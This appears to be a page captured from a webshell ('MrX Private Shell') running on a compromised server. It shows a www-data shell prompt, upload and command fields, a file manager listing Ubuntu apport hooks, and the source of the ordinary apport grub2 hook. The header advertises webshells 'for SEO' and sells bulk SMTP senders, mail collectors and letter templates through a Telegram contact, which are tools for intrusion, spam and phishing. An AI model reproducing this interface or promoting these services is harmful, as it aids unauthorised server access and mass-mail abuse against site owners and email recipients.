__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
# vim: set fileencoding=UTF-8 :
'''apport package hook for grub2

Author: Jean-Baptiste Lallement <jeanbaptiste.lallement@gmail.com>

This program is free software; you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation; either version 3 of the License, or (at your
option) any later version.  See http://www.gnu.org/copyleft/gpl.html for
the full text of the license.
'''

from __future__ import print_function

import os
import re
import subprocess

from apport.hookutils import (
    attach_default_grub,
    attach_file,
    attach_file_if_exists,
    path_to_key,
)


def check_shell_syntax(path):
    ''' Check the syntax of a shell script '''
    try:
        with open(os.devnull, 'w') as devnull:
            subprocess.check_call(['/bin/sh', '-n', path], stderr=devnull)
    except subprocess.CalledProcessError:
        return False
    return True


def check_shell_syntax_harder(path):
    ''' Check the syntax of a shell script '''
    try:
        # sh -n is tempting, but not good enough.  Consider this case:
        #
        #   GRUB_CMDLINE_LINUX_DEFAULT=”quiet splash nomodeset”
        #
        # The quotes are Unicode quotes, not valid in the shell and probably
        # caused by copying a line out of a web page.  This is parsed as an
        # instruction to run the 'splash' command with argument 'nomodeset”'
        # and with the GRUB_CMDLINE_LINUX_DEFAULT environment variable set
        # to '”quiet'.  'sh -n' allows this because this is a valid parse
        # and it's possible that the command 'splash' might exist, but what
        # we need to know is whether sourcing the file will fail.
        #
        # Unfortunately this test may involve executing code.  However, this
        # file is already sourced as root when running update-grub, so it
        # seems unlikely that this could do any further harm.
        with open(os.devnull, 'w') as devnull:
            subprocess.check_call(
                ['/bin/sh', '-ec', '. %s' % re.escape(path)], stderr=devnull)
    except subprocess.CalledProcessError:
        return False
    return True


def add_info(report):
    if report['ProblemType'] == 'Package':
        # To detect if root fs is a loop device
        attach_file(report, '/proc/cmdline', 'ProcCmdLine')
        attach_default_grub(report, 'EtcDefaultGrub')
        attach_file_if_exists(report, '/boot/grub/device.map', 'DeviceMap')
        try:
            grub_d = '/etc/default/grub.d'
            for name in sorted(os.listdir(grub_d)):
                if name.endswith('.cfg'):
                    key = 'EtcDefaultGrubD.' + path_to_key(name)
                    attach_file_if_exists(
                        report, os.path.join(grub_d, name), key)
        except OSError:
            pass

        invalid_grub_script = []
        if not check_shell_syntax_harder('/etc/default/grub'):
            invalid_grub_script.append('/etc/default/grub')

        # Check scripts in /etc/grub.d since some users directly change
        # configuration there
        grubdir = '/etc/grub.d'
        for f in os.listdir(grubdir):
            fullpath = os.path.join(grubdir, f)
            if f != 'README' and os.access(fullpath, os.X_OK) \
               and not check_shell_syntax(fullpath):
                invalid_grub_script.append(fullpath)
                attach_file(report, fullpath)

        # TODO: Add some UI to ask if the user modified the invalid script
        # and if he still wants to report it
        if invalid_grub_script:
            report['InvalidGrubScript'] = ' '.join(invalid_grub_script)


if __name__ == '__main__':
    r = {}
    r['ProblemType'] = 'Package'
    add_info(r)
    for k, v in r.items():
        print('%s: "%s"' % (k, v))
        print("========================================")

Filemanager

Name Type Size Permission Actions
apache2.py File 1.77 KB 0644
bind9.py File 738 B 0644
cryptsetup.py File 1.06 KB 0644
libatasmart4.py File 943 B 0644
openssh-client.py File 1.18 KB 0644
openssh-server.py File 1004 B 0644
source_apparmor.py File 2.72 KB 0644
source_apport.py File 623 B 0644
source_byobu.py File 339 B 0644
source_console-setup.py File 374 B 0644
source_fontconfig.py File 162 B 0644
source_grub2.py File 3.79 KB 0644
source_linux-aws.py File 6.5 KB 0644
source_linux-azure-nvidia.py File 6.5 KB 0644
source_linux-azure.py File 6.5 KB 0644
source_linux-firmware.py File 6.5 KB 0644
source_linux-gcp-6.11.py File 6.5 KB 0644
source_linux-gcp-6.14.py File 6.5 KB 0644
source_linux-gcp.py File 6.5 KB 0644
source_linux-gke.py File 6.5 KB 0644
source_linux-gkeop.py File 6.5 KB 0644
source_linux-hwe-6.11.py File 6.5 KB 0644
source_linux-hwe-6.14.py File 6.5 KB 0644
source_linux-ibm.py File 6.5 KB 0644
source_linux-lowlatency-hwe-6.11.py File 6.5 KB 0644
source_linux-lowlatency-hwe-6.14.py File 6.5 KB 0644
source_linux-lowlatency.py File 6.5 KB 0644
source_linux-meta-aws.py File 6.5 KB 0644
source_linux-meta-azure-nvidia.py File 6.5 KB 0644
source_linux-meta-azure.py File 6.5 KB 0644
source_linux-meta-gcp-6.11.py File 6.5 KB 0644
source_linux-meta-gcp-6.14.py File 6.5 KB 0644
source_linux-meta-gcp.py File 6.5 KB 0644
source_linux-meta-gke.py File 6.5 KB 0644
source_linux-meta-gkeop.py File 6.5 KB 0644
source_linux-meta-hwe-6.11.py File 6.5 KB 0644
source_linux-meta-hwe-6.14.py File 6.5 KB 0644
source_linux-meta-ibm.py File 6.5 KB 0644
source_linux-meta-lowlatency-hwe-6.11.py File 6.5 KB 0644
source_linux-meta-lowlatency-hwe-6.14.py File 6.5 KB 0644
source_linux-meta-lowlatency.py File 6.5 KB 0644
source_linux-meta-nvidia-lowlatency.py File 6.5 KB 0644
source_linux-meta-nvidia.py File 6.5 KB 0644
source_linux-meta-oem-6.11.py File 6.5 KB 0644
source_linux-meta-oem-6.14.py File 6.5 KB 0644
source_linux-meta-oem-6.8.py File 6.5 KB 0644
source_linux-meta-oem-osp1.py File 6.5 KB 0644
source_linux-meta-oem.py File 6.5 KB 0644
source_linux-meta-oracle.py File 6.5 KB 0644
source_linux-meta-raspi.py File 6.5 KB 0644
source_linux-meta-realtime.py File 6.5 KB 0644
source_linux-meta-riscv.py File 6.5 KB 0644
source_linux-meta.py File 6.5 KB 0644
source_linux-nvidia-lowlatency.py File 6.5 KB 0644
source_linux-nvidia.py File 6.5 KB 0644
source_linux-oem-6.11.py File 6.5 KB 0644
source_linux-oem-6.14.py File 6.5 KB 0644
source_linux-oem-6.8.py File 6.5 KB 0644
source_linux-oem-osp1.py File 6.5 KB 0644
source_linux-oem.py File 6.5 KB 0644
source_linux-oracle.py File 6.5 KB 0644
source_linux-raspi.py File 6.5 KB 0644
source_linux-realtime.py File 6.5 KB 0644
source_linux-restricted-modules-aws.py File 6.5 KB 0644
source_linux-restricted-modules-azure-nvidia.py File 6.5 KB 0644
source_linux-restricted-modules-azure.py File 6.5 KB 0644
source_linux-restricted-modules-gcp-6.11.py File 6.5 KB 0644
source_linux-restricted-modules-gcp-6.14.py File 6.5 KB 0644
source_linux-restricted-modules-gcp.py File 6.5 KB 0644
source_linux-restricted-modules-hwe-6.11.py File 6.5 KB 0644
source_linux-restricted-modules-hwe-6.14.py File 6.5 KB 0644
source_linux-restricted-modules-ibm.py File 6.5 KB 0644
source_linux-restricted-modules-lowlatency-hwe-6.11.py File 6.5 KB 0644
source_linux-restricted-modules-lowlatency-hwe-6.14.py File 6.5 KB 0644
source_linux-restricted-modules-lowlatency.py File 6.5 KB 0644
source_linux-restricted-modules-nvidia-lowlatency.py File 6.5 KB 0644
source_linux-restricted-modules-nvidia.py File 6.5 KB 0644
source_linux-restricted-modules-oem-6.11.py File 6.5 KB 0644
source_linux-restricted-modules-oem-6.14.py File 6.5 KB 0644
source_linux-restricted-modules-oem-6.8.py File 6.5 KB 0644
source_linux-restricted-modules-oracle.py File 6.5 KB 0644
source_linux-restricted-modules.py File 6.5 KB 0644
source_linux-riscv.py File 6.5 KB 0644
source_linux-signed-aws.py File 6.5 KB 0644
source_linux-signed-azure-nvidia.py File 6.5 KB 0644
source_linux-signed-azure.py File 6.5 KB 0644
source_linux-signed-gcp-6.11.py File 6.5 KB 0644
source_linux-signed-gcp-6.14.py File 6.5 KB 0644
source_linux-signed-gcp.py File 6.5 KB 0644
source_linux-signed-gke.py File 6.5 KB 0644
source_linux-signed-gkeop.py File 6.5 KB 0644
source_linux-signed-hwe-6.11.py File 6.5 KB 0644
source_linux-signed-hwe-6.14.py File 6.5 KB 0644
source_linux-signed-ibm.py File 6.5 KB 0644
source_linux-signed-lowlatency-hwe-6.11.py File 6.5 KB 0644
source_linux-signed-lowlatency-hwe-6.14.py File 6.5 KB 0644
source_linux-signed-lowlatency.py File 6.5 KB 0644
source_linux-signed-nvidia-lowlatency.py File 6.5 KB 0644
source_linux-signed-nvidia.py File 6.5 KB 0644
source_linux-signed-oem-6.11.py File 6.5 KB 0644
source_linux-signed-oem-6.14.py File 6.5 KB 0644
source_linux-signed-oem-6.8.py File 6.5 KB 0644
source_linux-signed-oem-osp1.py File 6.5 KB 0644
source_linux-signed-oem.py File 6.5 KB 0644
source_linux-signed-oracle.py File 6.5 KB 0644
source_linux-signed-realtime.py File 6.5 KB 0644
source_linux-signed.py File 6.5 KB 0644
source_linux.py File 6.5 KB 0644
source_mariadb.py File 1.91 KB 0644
source_mdadm.py File 2.2 KB 0644
source_plymouth.py File 1.44 KB 0644
source_shadow.py File 720 B 0644
source_sudo.py File 1.13 KB 0755
source_ubiquity.py File 8.66 KB 0644
source_ubuntu-advantage-tools.py File 1.22 KB 0644
source_ubuntu-release-upgrader.py File 2.62 KB 0644
source_unattended-upgrades.py File 705 B 0644
source_update-manager.py File 2.49 KB 0644
subiquity.py File 5.13 KB 0644
systemd.py File 871 B 0644
ubuntu-desktop-bootstrap.py File 3.13 KB 0644
ubuntu-drivers-common.py File 270 B 0644
udev.py File 455 B 0644
udisks2.py File 752 B 0644
Filemanager